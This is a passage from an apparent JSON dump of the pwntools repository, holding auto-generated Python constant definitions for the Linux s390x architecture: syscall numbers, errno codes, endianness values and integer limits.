Constant('SYS_utimensat',315)\nSYS_utimensat_time64 = Constant('SYS_utimensat_time64',412)\nSYS_utimes = Constant('SYS_utimes',313)\nSYS_vfork = Constant('SYS_vfork',190)\nSYS_vhangup = Constant('SYS_vhangup',111)\nSYS_vmsplice = Constant('SYS_vmsplice',309)\nSYS_wait4 = Constant('SYS_wait4',114)\nSYS_waitid = Constant('SYS_waitid',281)\nSYS_write = Constant('SYS_write',4)\nSYS_writev = Constant('SYS_writev',146)\n"
  },
  {
    "path": "pwnlib/constants/linux/s390x.py",
    "content": "from pwnlib.constants.constant import Constant\n__NR_exit = Constant('__NR_exit',1)\n__NR_fork = Constant('__NR_fork',2)\n__NR_read = Constant('__NR_read',3)\n__NR_write = Constant('__NR_write',4)\n__NR_open = Constant('__NR_open',5)\n__NR_close = Constant('__NR_close',6)\n__NR_restart_syscall = Constant('__NR_restart_syscall',7)\n__NR_creat = Constant('__NR_creat',8)\n__NR_link = Constant('__NR_link',9)\n__NR_unlink = Constant('__NR_unlink',10)\n__NR_execve = Constant('__NR_execve',11)\n__NR_chdir = Constant('__NR_chdir',12)\n__NR_mknod = Constant('__NR_mknod',14)\n__NR_chmod = Constant('__NR_chmod',15)\n__NR_lseek = Constant('__NR_lseek',19)\n__NR_getpid = Constant('__NR_getpid',20)\n__NR_mount = Constant('__NR_mount',21)\n__NR_umount = Constant('__NR_umount',22)\n__NR_ptrace = Constant('__NR_ptrace',26)\n__NR_alarm = Constant('__NR_alarm',27)\n__NR_pause = Constant('__NR_pause',29)\n__NR_utime = Constant('__NR_utime',30)\n__NR_access = Constant('__NR_access',33)\n__NR_nice = Constant('__NR_nice',34)\n__NR_sync = Constant('__NR_sync',36)\n__NR_kill = Constant('__NR_kill',37)\n__NR_rename = Constant('__NR_rename',38)\n__NR_mkdir = Constant('__NR_mkdir',39)\n__NR_rmdir = Constant('__NR_rmdir',40)\n__NR_dup = Constant('__NR_dup',41)\n__NR_pipe = Constant('__NR_pipe',42)\n__NR_times = Constant('__NR_times',43)\n__NR_brk = Constant('__NR_brk',45)\n__NR_signal = Constant('__NR_signal',48)\n__NR_acct = Constant('__NR_acct',51)\n__NR_umount2 = Constant('__NR_umount2',52)\n__NR_ioctl = Constant('__NR_ioctl',54)\n__NR_fcntl = Constant('__NR_fcntl',55)\n__NR_setpgid = Constant('__NR_setpgid',57)\n__NR_umask = Constant('__NR_umask',60)\n__NR_chroot = Constant('__NR_chroot',61)\n__NR_ustat = Constant('__NR_ustat',62)\n__NR_dup2 = Constant('__NR_dup2',63)\n__NR_getppid = Constant('__NR_getppid',64)\n__NR_getpgrp = Constant('__NR_getpgrp',65)\n__NR_setsid = Constant('__NR_setsid',66)\n__NR_sigaction = Constant('__NR_sigaction',67)\n__NR_sigsuspend = Constant('__NR_sigsuspend',72)\n__NR_sigpending = Constant('__NR_sigpending',73)\n__NR_sethostname = Constant('__NR_sethostname',74)\n__NR_setrlimit = Constant('__NR_setrlimit',75)\n__NR_getrusage = Constant('__NR_getrusage',77)\n__NR_gettimeofday = Constant('__NR_gettimeofday',78)\n__NR_settimeofday = Constant('__NR_settimeofday',79)\n__NR_symlink = Constant('__NR_symlink',83)\n__NR_readlink = Constant('__NR_readlink',85)\n__NR_uselib = Constant('__NR_uselib',86)\n__NR_swapon = Constant('__NR_swapon',87)\n__NR_reboot = Constant('__NR_reboot',88)\n__NR_readdir = Constant('__NR_readdir',89)\n__NR_mmap = Constant('__NR_mmap',90)\n__NR_munmap = Constant('__NR_munmap',91)\n__NR_truncate = Constant('__NR_truncate',92)\n__NR_ftruncate = Constant('__NR_ftruncate',93)\n__NR_fchmod = Constant('__NR_fchmod',94)\n__NR_getpriority = Constant('__NR_getpriority',96)\n__NR_setpriority = Constant('__NR_setpriority',97)\n__NR_statfs = Constant('__NR_statfs',99)\n__NR_fstatfs = Constant('__NR_fstatfs',100)\n__NR_socketcall = Constant('__NR_socketcall',102)\n__NR_syslog = Constant('__NR_syslog',103)\n__NR_setitimer = Constant('__NR_setitimer',104)\n__NR_getitimer = Constant('__NR_getitimer',105)\n__NR_stat = Constant('__NR_stat',106)\n__NR_lstat = Constant('__NR_lstat',107)\n__NR_fstat = Constant('__NR_fstat',108)\n__NR_lookup_dcookie = Constant('__NR_lookup_dcookie',110)\n__NR_vhangup = Constant('__NR_vhangup',111)\n__NR_idle = Constant('__NR_idle',112)\n__NR_wait4 = Constant('__NR_wait4',114)\n__NR_swapoff = Constant('__NR_swapoff',115)\n__NR_sysinfo = Constant('__NR_sysinfo',116)\n__NR_ipc = Constant('__NR_ipc',117)\n__NR_fsync = Constant('__NR_fsync',118)\n__NR_sigreturn = Constant('__NR_sigreturn',119)\n__NR_clone = Constant('__NR_clone',120)\n__NR_setdomainname = Constant('__NR_setdomainname',121)\n__NR_uname = Constant('__NR_uname',122)\n__NR_adjtimex = Constant('__NR_adjtimex',124)\n__NR_mprotect = Constant('__NR_mprotect',125)\n__NR_sigprocmask = Constant('__NR_sigprocmask',126)\n__NR_create_module = Constant('__NR_create_module',127)\n__NR_init_module = Constant('__NR_init_module',128)\n__NR_delete_module = Constant('__NR_delete_module',129)\n__NR_get_kernel_syms = Constant('__NR_get_kernel_syms',130)\n__NR_quotactl = Constant('__NR_quotactl',131)\n__NR_getpgid = Constant('__NR_getpgid',132)\n__NR_fchdir = Constant('__NR_fchdir',133)\n__NR_bdflush = Constant('__NR_bdflush',134)\n__NR_sysfs = Constant('__NR_sysfs',135)\n__NR_personality = Constant('__NR_personality',136)\n__NR_afs_syscall = Constant('__NR_afs_syscall',137)\n__NR_getdents = Constant('__NR_getdents',141)\n__NR_select = Constant('__NR_select',142)\n__NR_flock = Constant('__NR_flock',143)\n__NR_msync = Constant('__NR_msync',144)\n__NR_readv = Constant('__NR_readv',145)\n__NR_writev = Constant('__NR_writev',146)\n__NR_getsid = Constant('__NR_getsid',147)\n__NR_fdatasync = Constant('__NR_fdatasync',148)\n__NR__sysctl = Constant('__NR__sysctl',149)\n__NR_mlock = Constant('__NR_mlock',150)\n__NR_munlock = Constant('__NR_munlock',151)\n__NR_mlockall = Constant('__NR_mlockall',152)\n__NR_munlockall = Constant('__NR_munlockall',153)\n__NR_sched_setparam = Constant('__NR_sched_setparam',154)\n__NR_sched_getparam = Constant('__NR_sched_getparam',155)\n__NR_sched_setscheduler = Constant('__NR_sched_setscheduler',156)\n__NR_sched_getscheduler = Constant('__NR_sched_getscheduler',157)\n__NR_sched_yield = Constant('__NR_sched_yield',158)\n__NR_sched_get_priority_max = Constant('__NR_sched_get_priority_max',159)\n__NR_sched_get_priority_min = Constant('__NR_sched_get_priority_min',160)\n__NR_sched_rr_get_interval = Constant('__NR_sched_rr_get_interval',161)\n__NR_nanosleep = Constant('__NR_nanosleep',162)\n__NR_mremap = Constant('__NR_mremap',163)\n__NR_query_module = Constant('__NR_query_module',167)\n__NR_poll = Constant('__NR_poll',168)\n__NR_nfsservctl = Constant('__NR_nfsservctl',169)\n__NR_prctl = Constant('__NR_prctl',172)\n__NR_rt_sigreturn = Constant('__NR_rt_sigreturn',173)\n__NR_rt_sigaction = Constant('__NR_rt_sigaction',174)\n__NR_rt_sigprocmask = Constant('__NR_rt_sigprocmask',175)\n__NR_rt_sigpending = Constant('__NR_rt_sigpending',176)\n__NR_rt_sigtimedwait = Constant('__NR_rt_sigtimedwait',177)\n__NR_rt_sigqueueinfo = Constant('__NR_rt_sigqueueinfo',178)\n__NR_rt_sigsuspend = Constant('__NR_rt_sigsuspend',179)\n__NR_pread64 = Constant('__NR_pread64',180)\n__NR_pwrite64 = Constant('__NR_pwrite64',181)\n__NR_getcwd = Constant('__NR_getcwd',183)\n__NR_capget = Constant('__NR_capget',184)\n__NR_capset = Constant('__NR_capset',185)\n__NR_sigaltstack = Constant('__NR_sigaltstack',186)\n__NR_sendfile = Constant('__NR_sendfile',187)\n__NR_getpmsg = Constant('__NR_getpmsg',188)\n__NR_putpmsg = Constant('__NR_putpmsg',189)\n__NR_vfork = Constant('__NR_vfork',190)\n__NR_getrlimit = Constant('__NR_getrlimit',191)\n__NR_lchown = Constant('__NR_lchown',198)\n__NR_getuid = Constant('__NR_getuid',199)\n__NR_getgid = Constant('__NR_getgid',200)\n__NR_geteuid = Constant('__NR_geteuid',201)\n__NR_getegid = Constant('__NR_getegid',202)\n__NR_setreuid = Constant('__NR_setreuid',203)\n__NR_setregid = Constant('__NR_setregid',204)\n__NR_getgroups = Constant('__NR_getgroups',205)\n__NR_setgroups = Constant('__NR_setgroups',206)\n__NR_fchown = Constant('__NR_fchown',207)\n__NR_setresuid = Constant('__NR_setresuid',208)\n__NR_getresuid = Constant('__NR_getresuid',209)\n__NR_setresgid = Constant('__NR_setresgid',210)\n__NR_getresgid = Constant('__NR_getresgid',211)\n__NR_chown = Constant('__NR_chown',212)\n__NR_setuid = Constant('__NR_setuid',213)\n__NR_setgid = Constant('__NR_setgid',214)\n__NR_setfsuid = Constant('__NR_setfsuid',215)\n__NR_setfsgid = Constant('__NR_setfsgid',216)\n__NR_pivot_root = Constant('__NR_pivot_root',217)\n__NR_mincore = Constant('__NR_mincore',218)\n__NR_madvise = Constant('__NR_madvise',219)\n__NR_getdents64 = Constant('__NR_getdents64',220)\n__NR_readahead = Constant('__NR_readahead',222)\n__NR_setxattr = Constant('__NR_setxattr',224)\n__NR_lsetxattr = Constant('__NR_lsetxattr',225)\n__NR_fsetxattr = Constant('__NR_fsetxattr',226)\n__NR_getxattr = Constant('__NR_getxattr',227)\n__NR_lgetxattr = Constant('__NR_lgetxattr',228)\n__NR_fgetxattr = Constant('__NR_fgetxattr',229)\n__NR_listxattr = Constant('__NR_listxattr',230)\n__NR_llistxattr = Constant('__NR_llistxattr',231)\n__NR_flistxattr = Constant('__NR_flistxattr',232)\n__NR_removexattr = Constant('__NR_removexattr',233)\n__NR_lremovexattr = Constant('__NR_lremovexattr',234)\n__NR_fremovexattr = Constant('__NR_fremovexattr',235)\n__NR_gettid = Constant('__NR_gettid',236)\n__NR_tkill = Constant('__NR_tkill',237)\n__NR_futex = Constant('__NR_futex',238)\n__NR_sched_setaffinity = Constant('__NR_sched_setaffinity',239)\n__NR_sched_getaffinity = Constant('__NR_sched_getaffinity',240)\n__NR_tgkill = Constant('__NR_tgkill',241)\n__NR_io_setup = Constant('__NR_io_setup',243)\n__NR_io_destroy = Constant('__NR_io_destroy',244)\n__NR_io_getevents = Constant('__NR_io_getevents',245)\n__NR_io_submit = Constant('__NR_io_submit',246)\n__NR_io_cancel = Constant('__NR_io_cancel',247)\n__NR_exit_group = Constant('__NR_exit_group',248)\n__NR_epoll_create = Constant('__NR_epoll_create',249)\n__NR_epoll_ctl = Constant('__NR_epoll_ctl',250)\n__NR_epoll_wait = Constant('__NR_epoll_wait',251)\n__NR_set_tid_address = Constant('__NR_set_tid_address',252)\n__NR_fadvise64 = Constant('__NR_fadvise64',253)\n__NR_timer_create = Constant('__NR_timer_create',254)\n__NR_timer_settime = Constant('__NR_timer_settime',(254+1))\n__NR_timer_gettime = Constant('__NR_timer_gettime',(254+2))\n__NR_timer_getoverrun = Constant('__NR_timer_getoverrun',(254+3))\n__NR_timer_delete = Constant('__NR_timer_delete',(254+4))\n__NR_clock_settime = Constant('__NR_clock_settime',(254+5))\n__NR_clock_gettime = Constant('__NR_clock_gettime',(254+6))\n__NR_clock_getres = Constant('__NR_clock_getres',(254+7))\n__NR_clock_nanosleep = Constant('__NR_clock_nanosleep',(254+8))\n__NR_statfs64 = Constant('__NR_statfs64',265)\n__NR_fstatfs64 = Constant('__NR_fstatfs64',266)\n__NR_remap_file_pages = Constant('__NR_remap_file_pages',267)\n__NR_mbind = Constant('__NR_mbind',268)\n__NR_get_mempolicy = Constant('__NR_get_mempolicy',269)\n__NR_set_mempolicy = Constant('__NR_set_mempolicy',270)\n__NR_mq_open = Constant('__NR_mq_open',271)\n__NR_mq_unlink = Constant('__NR_mq_unlink',272)\n__NR_mq_timedsend = Constant('__NR_mq_timedsend',273)\n__NR_mq_timedreceive = Constant('__NR_mq_timedreceive',274)\n__NR_mq_notify = Constant('__NR_mq_notify',275)\n__NR_mq_getsetattr = Constant('__NR_mq_getsetattr',276)\n__NR_kexec_load = Constant('__NR_kexec_load',277)\n__NR_add_key = Constant('__NR_add_key',278)\n__NR_request_key = Constant('__NR_request_key',279)\n__NR_keyctl = Constant('__NR_keyctl',280)\n__NR_waitid = Constant('__NR_waitid',281)\n__NR_ioprio_set = Constant('__NR_ioprio_set',282)\n__NR_ioprio_get = Constant('__NR_ioprio_get',283)\n__NR_inotify_init = Constant('__NR_inotify_init',284)\n__NR_inotify_add_watch = Constant('__NR_inotify_add_watch',285)\n__NR_inotify_rm_watch = Constant('__NR_inotify_rm_watch',286)\n__NR_migrate_pages = Constant('__NR_migrate_pages',287)\n__NR_openat = Constant('__NR_openat',288)\n__NR_mkdirat = Constant('__NR_mkdirat',289)\n__NR_mknodat = Constant('__NR_mknodat',290)\n__NR_fchownat = Constant('__NR_fchownat',291)\n__NR_futimesat = Constant('__NR_futimesat',292)\n__NR_newfstatat = Constant('__NR_newfstatat',293)\n__NR_unlinkat = Constant('__NR_unlinkat',294)\n__NR_renameat = Constant('__NR_renameat',295)\n__NR_linkat = Constant('__NR_linkat',296)\n__NR_symlinkat = Constant('__NR_symlinkat',297)\n__NR_readlinkat = Constant('__NR_readlinkat',298)\n__NR_fchmodat = Constant('__NR_fchmodat',299)\n__NR_faccessat = Constant('__NR_faccessat',300)\n__NR_pselect6 = Constant('__NR_pselect6',301)\n__NR_ppoll = Constant('__NR_ppoll',302)\n__NR_unshare = Constant('__NR_unshare',303)\n__NR_set_robust_list = Constant('__NR_set_robust_list',304)\n__NR_get_robust_list = Constant('__NR_get_robust_list',305)\n__NR_splice = Constant('__NR_splice',306)\n__NR_sync_file_range = Constant('__NR_sync_file_range',307)\n__NR_tee = Constant('__NR_tee',308)\n__NR_vmsplice = Constant('__NR_vmsplice',309)\n__NR_move_pages = Constant('__NR_move_pages',310)\n__NR_getcpu = Constant('__NR_getcpu',311)\n__NR_epoll_pwait = Constant('__NR_epoll_pwait',312)\n__NR_utimes = Constant('__NR_utimes',313)\n__NR_fallocate = Constant('__NR_fallocate',314)\n__NR_utimensat = Constant('__NR_utimensat',315)\n__NR_signalfd = Constant('__NR_signalfd',316)\n__NR_timerfd = Constant('__NR_timerfd',317)\n__NR_eventfd = Constant('__NR_eventfd',318)\n__NR_timerfd_create = Constant('__NR_timerfd_create',319)\n__NR_timerfd_settime = Constant('__NR_timerfd_settime',320)\n__NR_timerfd_gettime = Constant('__NR_timerfd_gettime',321)\n__NR_signalfd4 = Constant('__NR_signalfd4',322)\n__NR_eventfd2 = Constant('__NR_eventfd2',323)\n__NR_inotify_init1 = Constant('__NR_inotify_init1',324)\n__NR_pipe2 = Constant('__NR_pipe2',325)\n__NR_dup3 = Constant('__NR_dup3',326)\n__NR_epoll_create1 = Constant('__NR_epoll_create1',327)\n__NR_preadv = Constant('__NR_preadv',328)\n__NR_pwritev = Constant('__NR_pwritev',329)\n__NR_rt_tgsigqueueinfo = Constant('__NR_rt_tgsigqueueinfo',330)\n__NR_perf_event_open = Constant('__NR_perf_event_open',331)\n__NR_fanotify_init = Constant('__NR_fanotify_init',332)\n__NR_fanotify_mark = Constant('__NR_fanotify_mark',333)\n__NR_prlimit64 = Constant('__NR_prlimit64',334)\n__NR_name_to_handle_at = Constant('__NR_name_to_handle_at',335)\n__NR_open_by_handle_at = Constant('__NR_open_by_handle_at',336)\n__NR_clock_adjtime = Constant('__NR_clock_adjtime',337)\n__NR_syncfs = Constant('__NR_syncfs',338)\n__NR_setns = Constant('__NR_setns',339)\n__NR_process_vm_readv = Constant('__NR_process_vm_readv',340)\n__NR_process_vm_writev = Constant('__NR_process_vm_writev',341)\n__NR_s390_runtime_instr = Constant('__NR_s390_runtime_instr',342)\n__NR_kcmp = Constant('__NR_kcmp',343)\n__NR_finit_module = Constant('__NR_finit_module',344)\n__NR_sched_setattr = Constant('__NR_sched_setattr',345)\n__NR_sched_getattr = Constant('__NR_sched_getattr',346)\n__NR_renameat2 = Constant('__NR_renameat2',347)\n__NR_seccomp = Constant('__NR_seccomp',348)\n__NR_getrandom = Constant('__NR_getrandom',349)\n__NR_memfd_create = Constant('__NR_memfd_create',350)\n__NR_bpf = Constant('__NR_bpf',351)\n__NR_s390_pci_mmio_write = Constant('__NR_s390_pci_mmio_write',352)\n__NR_s390_pci_mmio_read = Constant('__NR_s390_pci_mmio_read',353)\n__NR_execveat = Constant('__NR_execveat',354)\n__NR_userfaultfd = Constant('__NR_userfaultfd',355)\n__NR_membarrier = Constant('__NR_membarrier',356)\n__NR_recvmmsg = Constant('__NR_recvmmsg',357)\n__NR_sendmmsg = Constant('__NR_sendmmsg',358)\n__NR_socket = Constant('__NR_socket',359)\n__NR_socketpair = Constant('__NR_socketpair',360)\n__NR_bind = Constant('__NR_bind',361)\n__NR_connect = Constant('__NR_connect',362)\n__NR_listen = Constant('__NR_listen',363)\n__NR_accept4 = Constant('__NR_accept4',364)\n__NR_getsockopt = Constant('__NR_getsockopt',365)\n__NR_setsockopt = Constant('__NR_setsockopt',366)\n__NR_getsockname = Constant('__NR_getsockname',367)\n__NR_getpeername = Constant('__NR_getpeername',368)\n__NR_sendto = Constant('__NR_sendto',369)\n__NR_sendmsg = Constant('__NR_sendmsg',370)\n__NR_recvfrom = Constant('__NR_recvfrom',371)\n__NR_recvmsg = Constant('__NR_recvmsg',372)\n__NR_shutdown = Constant('__NR_shutdown',373)\n__NR_mlock2 = Constant('__NR_mlock2',374)\n__NR_copy_file_range = Constant('__NR_copy_file_range',375)\n__NR_preadv2 = Constant('__NR_preadv2',376)\n__NR_pwritev2 = Constant('__NR_pwritev2',377)\n__NR_s390_guarded_storage = Constant('__NR_s390_guarded_storage',378)\n__NR_statx = Constant('__NR_statx',379)\n__NR_s390_sthyi = Constant('__NR_s390_sthyi',380)\n__NR_kexec_file_load = Constant('__NR_kexec_file_load',381)\n__NR_io_pgetevents = Constant('__NR_io_pgetevents',382)\n__NR_rseq = Constant('__NR_rseq',383)\n__NR_pkey_mprotect = Constant('__NR_pkey_mprotect',384)\n__NR_pkey_alloc = Constant('__NR_pkey_alloc',385)\n__NR_pkey_free = Constant('__NR_pkey_free',386)\n__NR_semtimedop = Constant('__NR_semtimedop',392)\n__NR_semget = Constant('__NR_semget',393)\n__NR_semctl = Constant('__NR_semctl',394)\n__NR_shmget = Constant('__NR_shmget',395)\n__NR_shmctl = Constant('__NR_shmctl',396)\n__NR_shmat = Constant('__NR_shmat',397)\n__NR_shmdt = Constant('__NR_shmdt',398)\n__NR_msgget = Constant('__NR_msgget',399)\n__NR_msgsnd = Constant('__NR_msgsnd',400)\n__NR_msgrcv = Constant('__NR_msgrcv',401)\n__NR_msgctl = Constant('__NR_msgctl',402)\n__NR_pidfd_send_signal = Constant('__NR_pidfd_send_signal',424)\n__NR_io_uring_setup = Constant('__NR_io_uring_setup',425)\n__NR_io_uring_enter = Constant('__NR_io_uring_enter',426)\n__NR_io_uring_register = Constant('__NR_io_uring_register',427)\n__NR_open_tree = Constant('__NR_open_tree',428)\n__NR_move_mount = Constant('__NR_move_mount',429)\n__NR_fsopen = Constant('__NR_fsopen',430)\n__NR_fsconfig = Constant('__NR_fsconfig',431)\n__NR_fsmount = Constant('__NR_fsmount',432)\n__NR_fspick = Constant('__NR_fspick',433)\n__NR_pidfd_open = Constant('__NR_pidfd_open',434)\n__NR_clone3 = Constant('__NR_clone3',435)\n__NR_openat2 = Constant('__NR_openat2',437)\n__NR_pidfd_getfd = Constant('__NR_pidfd_getfd',438)\nMAP_32BIT = Constant('MAP_32BIT',0x40)\nINADDR_ANY = Constant('INADDR_ANY',0)\nINADDR_BROADCAST = Constant('INADDR_BROADCAST',0xffffffff)\nINADDR_NONE = Constant('INADDR_NONE',0xffffffff)\nINADDR_LOOPBACK = Constant('INADDR_LOOPBACK',0x7f000001)\nEPERM = Constant('EPERM',1)\nENOENT = Constant('ENOENT',2)\nESRCH = Constant('ESRCH',3)\nEINTR = Constant('EINTR',4)\nEIO = Constant('EIO',5)\nENXIO = Constant('ENXIO',6)\nE2BIG = Constant('E2BIG',7)\nENOEXEC = Constant('ENOEXEC',8)\nEBADF = Constant('EBADF',9)\nECHILD = Constant('ECHILD',10)\nEAGAIN = Constant('EAGAIN',11)\nENOMEM = Constant('ENOMEM',12)\nEACCES = Constant('EACCES',13)\nEFAULT = Constant('EFAULT',14)\nENOTBLK = Constant('ENOTBLK',15)\nEBUSY = Constant('EBUSY',16)\nEEXIST = Constant('EEXIST',17)\nEXDEV = Constant('EXDEV',18)\nENODEV = Constant('ENODEV',19)\nENOTDIR = Constant('ENOTDIR',20)\nEISDIR = Constant('EISDIR',21)\nEINVAL = Constant('EINVAL',22)\nENFILE = Constant('ENFILE',23)\nEMFILE = Constant('EMFILE',24)\nENOTTY = Constant('ENOTTY',25)\nETXTBSY = Constant('ETXTBSY',26)\nEFBIG = Constant('EFBIG',27)\nENOSPC = Constant('ENOSPC',28)\nESPIPE = Constant('ESPIPE',29)\nEROFS = Constant('EROFS',30)\nEMLINK = Constant('EMLINK',31)\nEPIPE = Constant('EPIPE',32)\nEDOM = Constant('EDOM',33)\nERANGE = Constant('ERANGE',34)\nEDEADLK = Constant('EDEADLK',35)\nENAMETOOLONG = Constant('ENAMETOOLONG',36)\nENOLCK = Constant('ENOLCK',37)\nENOSYS = Constant('ENOSYS',38)\nENOTEMPTY = Constant('ENOTEMPTY',39)\nELOOP = Constant('ELOOP',40)\nEWOULDBLOCK = Constant('EWOULDBLOCK',11)\nENOMSG = Constant('ENOMSG',42)\nEIDRM = Constant('EIDRM',43)\nECHRNG = Constant('ECHRNG',44)\nEL2NSYNC = Constant('EL2NSYNC',45)\nEL3HLT = Constant('EL3HLT',46)\nEL3RST = Constant('EL3RST',47)\nELNRNG = Constant('ELNRNG',48)\nEUNATCH = Constant('EUNATCH',49)\nENOCSI = Constant('ENOCSI',50)\nEL2HLT = Constant('EL2HLT',51)\nEBADE = Constant('EBADE',52)\nEBADR = Constant('EBADR',53)\nEXFULL = Constant('EXFULL',54)\nENOANO = Constant('ENOANO',55)\nEBADRQC = Constant('EBADRQC',56)\nEBADSLT = Constant('EBADSLT',57)\nEDEADLOCK = Constant('EDEADLOCK',35)\nEBFONT = Constant('EBFONT',59)\nENOSTR = Constant('ENOSTR',60)\nENODATA = Constant('ENODATA',61)\nETIME = Constant('ETIME',62)\nENOSR = Constant('ENOSR',63)\nENONET = Constant('ENONET',64)\nENOPKG = Constant('ENOPKG',65)\nEREMOTE = Constant('EREMOTE',66)\nENOLINK = Constant('ENOLINK',67)\nEADV = Constant('EADV',68)\nESRMNT = Constant('ESRMNT',69)\nECOMM = Constant('ECOMM',70)\nEPROTO = Constant('EPROTO',71)\nEMULTIHOP = Constant('EMULTIHOP',72)\nEDOTDOT = Constant('EDOTDOT',73)\nEBADMSG = Constant('EBADMSG',74)\nEOVERFLOW = Constant('EOVERFLOW',75)\nENOTUNIQ = Constant('ENOTUNIQ',76)\nEBADFD = Constant('EBADFD',77)\nEREMCHG = Constant('EREMCHG',78)\nELIBACC = Constant('ELIBACC',79)\nELIBBAD = Constant('ELIBBAD',80)\nELIBSCN = Constant('ELIBSCN',81)\nELIBMAX = Constant('ELIBMAX',82)\nELIBEXEC = Constant('ELIBEXEC',83)\nEILSEQ = Constant('EILSEQ',84)\nERESTART = Constant('ERESTART',85)\nESTRPIPE = Constant('ESTRPIPE',86)\nEUSERS = Constant('EUSERS',87)\nENOTSOCK = Constant('ENOTSOCK',88)\nEDESTADDRREQ = Constant('EDESTADDRREQ',89)\nEMSGSIZE = Constant('EMSGSIZE',90)\nEPROTOTYPE = Constant('EPROTOTYPE',91)\nENOPROTOOPT = Constant('ENOPROTOOPT',92)\nEPROTONOSUPPORT = Constant('EPROTONOSUPPORT',93)\nESOCKTNOSUPPORT = Constant('ESOCKTNOSUPPORT',94)\nEOPNOTSUPP = Constant('EOPNOTSUPP',95)\nENOTSUP = Constant('ENOTSUP',95)\nEPFNOSUPPORT = Constant('EPFNOSUPPORT',96)\nEAFNOSUPPORT = Constant('EAFNOSUPPORT',97)\nEADDRINUSE = Constant('EADDRINUSE',98)\nEADDRNOTAVAIL = Constant('EADDRNOTAVAIL',99)\nENETDOWN = Constant('ENETDOWN',100)\nENETUNREACH = Constant('ENETUNREACH',101)\nENETRESET = Constant('ENETRESET',102)\nECONNABORTED = Constant('ECONNABORTED',103)\nECONNRESET = Constant('ECONNRESET',104)\nENOBUFS = Constant('ENOBUFS',105)\nEISCONN = Constant('EISCONN',106)\nENOTCONN = Constant('ENOTCONN',107)\nESHUTDOWN = Constant('ESHUTDOWN',108)\nETOOMANYREFS = Constant('ETOOMANYREFS',109)\nETIMEDOUT = Constant('ETIMEDOUT',110)\nECONNREFUSED = Constant('ECONNREFUSED',111)\nEHOSTDOWN = Constant('EHOSTDOWN',112)\nEHOSTUNREACH = Constant('EHOSTUNREACH',113)\nEALREADY = Constant('EALREADY',114)\nEINPROGRESS = Constant('EINPROGRESS',115)\nESTALE = Constant('ESTALE',116)\nEUCLEAN = Constant('EUCLEAN',117)\nENOTNAM = Constant('ENOTNAM',118)\nENAVAIL = Constant('ENAVAIL',119)\nEISNAM = Constant('EISNAM',120)\nEREMOTEIO = Constant('EREMOTEIO',121)\nEDQUOT = Constant('EDQUOT',122)\nENOMEDIUM = Constant('ENOMEDIUM',123)\nEMEDIUMTYPE = Constant('EMEDIUMTYPE',124)\nECANCELED = Constant('ECANCELED',125)\nENOKEY = Constant('ENOKEY',126)\nEKEYEXPIRED = Constant('EKEYEXPIRED',127)\nEKEYREVOKED = Constant('EKEYREVOKED',128)\nEKEYREJECTED = Constant('EKEYREJECTED',129)\nEOWNERDEAD = Constant('EOWNERDEAD',130)\nENOTRECOVERABLE = Constant('ENOTRECOVERABLE',131)\nERFKILL = Constant('ERFKILL',132)\nEHWPOISON = Constant('EHWPOISON',133)\n__SYS_NERR = Constant('__SYS_NERR',((133) + 1))\n__LITTLE_ENDIAN = Constant('__LITTLE_ENDIAN',1234)\n__BIG_ENDIAN = Constant('__BIG_ENDIAN',4321)\n__BYTE_ORDER = Constant('__BYTE_ORDER',4321)\n__FLOAT_WORD_ORDER = Constant('__FLOAT_WORD_ORDER',4321)\nLITTLE_ENDIAN = Constant('LITTLE_ENDIAN',1234)\nBIG_ENDIAN = Constant('BIG_ENDIAN',4321)\nBYTE_ORDER = Constant('BYTE_ORDER',4321)\n__WORDSIZE = Constant('__WORDSIZE',64)\nINT8_MAX = Constant('INT8_MAX',(127))\nINT16_MAX = Constant('INT16_MAX',(32767))\nINT32_MAX = Constant('INT32_MAX',(2147483647))\nINT64_MAX = Constant('INT64_MAX',(9223372036854775807))\nINT8_MIN = Constant('INT8_MIN',(-1 - (127)))\nINT16_MIN = Constant('INT16_MIN',(-1 - (32767)))\nINT32_MIN = Constant('INT32_MIN',(-1 - (2147483647)))\nINT64_MIN = Constant('INT64_MIN',(-1 - (9223372036854775807)))\nINT_LEAST8_MAX = Constant('INT_LEAST8_MAX',(127))\nINT_LEAST8_MIN = Constant('INT_LEAST8_MIN',(-1 - (127)))\nINT_LEAST16_MAX = Constant('INT_LEAST16_MAX',(32767))\nINT_LEAST16_MIN = Constant('INT_LEAST16_MIN',(-1 - (32767)))\nINT_LEAST32_MAX = Constant('INT_LEAST32_MAX',(2147483647))\nINT_LEAST32_MIN = Constant('INT_LEAST32_MIN',(-1 - (2147483647)))\nINT_LEAST64_MAX = Constant('INT_LEAST64_MAX',(9223372036854775807))\nINT_LEAST64_MIN = Constant('INT_LEAST64_MIN',(-1 - (9223372036854775807)))\nUINT8_MAX = Constant('UINT8_MAX',0xff)\nUINT16_MAX = Constant('UINT16_MAX',0xffff)\nUINT32_MAX = Constant('UINT32_MAX',0xffffffff)\nUINT64_MAX = Constant('UINT64_MAX',0xffffffffffffffff)\nUINT_LEAST8_MAX = Constant('UINT_LEAST8_MAX',0xff)\nUINT_LEAST16_MAX = Constant('UINT_LEAST16_MAX',0xffff)\nUINT_LEAST32_MAX = Constant('UINT_LEAST32_MAX',0xffffffff)\nUINT_LEAST64_MAX = Constant('UINT_LEAST64_MAX',0xffffffffffffffff)\nINTPTR_MIN = Constant('INTPTR_MIN',(-1 - (9223372036854775807)))\nINTPTR_MAX = Constant('INTPTR_MAX',(9223372036854775807))\nUINTPTR_MAX = Constant('UINTPTR_MAX',0xffffffffffffffff)\nSIZE_MAX = Constant('SIZE_MAX',0xffffffffffffffff)\nPTRDIFF_MIN = Constant('PTRDIFF_MIN',(-1 - (9223372036854775807)))\nPTRDIFF_MAX = Constant('PTRDIFF_MAX',(9223372036854775807))\nINTMAX_MIN = Constant('INTMAX_MIN',(-1 - (9223372036854775807)))\nINTMAX_MAX = Constant('INTMAX_MAX',(9223372036854775807))\nUINTMAX_MAX = Constant('UINTMAX_MAX',0xffffffffffffffff)\nINT_FAST8_MIN = Constant('INT_FAST8_MIN',(-1 - (127)))\nINT_FAST8_MAX = Constant('INT_FAST8_MAX',(127))\nINT_FAST64_MIN = Constant('INT_FAST64_MIN',(-1 - (9223372036854775807)))\nINT_FAST64_MAX = Constant('INT_FAST64_MAX',(9223372036854775807))\nUINT_FAST8_MAX = Constant('UINT_FAST8_MAX',0xff)\nUINT_FAST64_MAX = Constant('UINT_FAST64_MAX',0xffffffffffffffff)\nINT_FAST16_MIN = Constant('INT_FAST16_MIN',(-1 - (9223372036854775807)))\nINT_FAST16_MAX = Constant('INT_FAST16_MAX',(9223372036854775807))\nUINT_FAST16_MAX = 